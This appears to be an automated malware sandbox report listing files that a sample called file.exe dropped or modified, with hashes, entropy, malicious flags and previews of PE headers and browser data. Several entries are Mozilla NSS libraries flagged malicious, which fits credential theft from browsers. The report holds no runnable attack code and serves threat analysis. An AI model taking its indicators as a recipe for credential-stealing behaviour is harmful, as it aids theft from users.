Preview:	{"type":"uninstall","id":"0f1981fe-2332-475d-a96f-a23f4e6db333","creationDate":"2024-11-29T19:58:56.721Z","version":4,"application":{"architecture":"x86-64","buildId":"20230927232528","name":"Firefox","version":"118.0.1","displayVersion":"118.0.1","vendor":"Mozilla","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","channel":"release"},"payload":{"otherInstalls":0},"clientId":"1fca7bd2-7b44-4c45-b0ea-e0486850ce95","environment":{"build":{"applicationId":"{ec8030f7-c20a-464f-9b0e-13a3a9e97384}","applicationName":"Firefox","architecture":"x86-64","buildId":"20230927232528","version":"118.0.1","vendor":"Mozilla","displayVersion":"118.0.1","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","updaterAvailable":true},"partner":{"distributionId":null,"distributionVersion":null,"partnerId":null,"distributor":null,"distributorChannel":null,"partnerNames":[]},"system":{"memoryMB":8191,"virtualMaxMB":134217728,"cpu":{"isWindowsSMode":false,"count":4,"cores":2,"vendor":"GenuineIntel","name":"I

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\8d8ec3a6f5.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\57f5d43c-8a1f-46f2-9d8c-183db84caa50.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44608
Entropy (8bit):	6.0955424758385295
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBGwuvhDO6vP6OTqUWCfghPu/VVNcGoup1Xl3jVzXq:z/Ps+wsI7ynEN6zhZchu3VlXr4CRo1
MD5:	FA692774C0CF50A5F9B8F8D8E7D5D276
SHA1:	766E30F24E94E8AC85F6F9613A62B22273293AC4
SHA-256:	B0105996F7E080784E997C3D8376491F0C3418D38E90A6006337E6C027658AAD
SHA-512:	F5DAB3597B86B32035CEE452553A6D2C0D00830D6EDD6C2A70A7B0ECD32DDFA6F9E55CF3902AF93732C009540470DEA33916A0260A2F53597BFFFB18D6CF3973
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5c0f0ae7-d9d2-4b30-8065-a96b4e12d4f4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44631
Entropy (8bit):	6.0953178110418955
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBYwuvhDO6vP6OTqU+kRozWEgcGoup1Xl3jVzXr4CW:z/Ps+wsI7ynEj6zhNchu3VlXr4CRo1
MD5:	D911FFE92B2ED503CBBBCE417BE5FDA9
SHA1:	A2290262AFCBBCEE155C9075A9FD54653B2BEAC8
SHA-256:	901D2CCB785028CB6C1E69171EF57922C2FA7061443329DCAC3743DE7400C358
SHA-512:	577EFE77A2381914457819206A1AF06F32742FB378B2AF9DB63D0A3E7014D829DE19750F7828C9052314429053A8761154D96F34E31C85CCACFDFA81B6F10BD7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\704a9310-e395-420c-8f5d-0a27ce4096d4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44608
Entropy (8bit):	6.0955424758385295
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBGwuvhDO6vP6OTqUWCfghPu/VVNcGoup1Xl3jVzXq:z/Ps+wsI7ynEN6zhZchu3VlXr4CRo1
MD5:	FA692774C0CF50A5F9B8F8D8E7D5D276
SHA1:	766E30F24E94E8AC85F6F9613A62B22273293AC4
SHA-256:	B0105996F7E080784E997C3D8376491F0C3418D38E90A6006337E6C027658AAD
SHA-512:	F5DAB3597B86B32035CEE452553A6D2C0D00830D6EDD6C2A70A7B0ECD32DDFA6F9E55CF3902AF93732C009540470DEA33916A0260A2F53597BFFFB18D6CF3973
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\761f24a5-19d6-4f49-9bd7-5db58c99893c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44631
Entropy (8bit):	6.0953178110418955
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBYwuvhDO6vP6OTqU+kRozWEgcGoup1Xl3jVzXr4CW:z/Ps+wsI7ynEj6zhNchu3VlXr4CRo1
MD5:	D911FFE92B2ED503CBBBCE417BE5FDA9
SHA1:	A2290262AFCBBCEE155C9075A9FD54653B2BEAC8
SHA-256:	901D2CCB785028CB6C1E69171EF57922C2FA7061443329DCAC3743DE7400C358
SHA-512:	577EFE77A2381914457819206A1AF06F32742FB378B2AF9DB63D0A3E7014D829DE19750F7828C9052314429053A8761154D96F34E31C85CCACFDFA81B6F10BD7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-674A0CB5-1D88.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04640007338924016
Encrypted:	false
SSDEEP:	192:5qOl0pqtmJnOAWVnYDJxwyB9XCWg0xXTh84NEJtLIwNkRQcglUBWxZN9n8y08Tcp:g60ctiM6LGEhlU44U8xZ08T2RGOD
MD5:	5C546D7505AA64D155CCA1A8695B8B94
SHA1:	2F2377415EA80AB10C7394F293DEF77341C97D63
SHA-256:	F41288882143DF2D6526C9F24068932E92AA80C9540AD785AEC730DE31594850
SHA-512:	E0A008A507B4CE7A5031238C8C1F9A10A3FC0ADFDB4D00A553340C09CC7BE0A27DEDF04211649F7C13784C867994F0E12E4E86417096EF719BE8FCDB68B79DA5
Malicious:	false
Preview:	...@..@...@.....C.].....@................f...V..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".pwexrq20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.................. .2......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090760024369398
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMowuF9hDO6vP6O+wtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEC6Ntbz8hu3VlXr4CRo1
MD5:	9179717F6C752E1E972206A329299034
SHA1:	E2C1B19E9308706E4AB86318C3FC2A550A7763EB
SHA-256:	5F82FE914BC5513160C4FE7E5D2505CBB647555643FAF2F8FF9EC20448418557
SHA-512:	3BF29B20BB42DD4BA332DFF0CA060BB02130037483D4111651B42B26F82B6F28123E2F0AA0A85D1E75C9B54385D07A1AF82D75807DA6635BA30F82AD3AD53DE0
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37c74.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090760024369398
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMowuF9hDO6vP6O+wtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEC6Ntbz8hu3VlXr4CRo1
MD5:	9179717F6C752E1E972206A329299034
SHA1:	E2C1B19E9308706E4AB86318C3FC2A550A7763EB
SHA-256:	5F82FE914BC5513160C4FE7E5D2505CBB647555643FAF2F8FF9EC20448418557
SHA-512:	3BF29B20BB42DD4BA332DFF0CA060BB02130037483D4111651B42B26F82B6F28123E2F0AA0A85D1E75C9B54385D07A1AF82D75807DA6635BA30F82AD3AD53DE0
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWm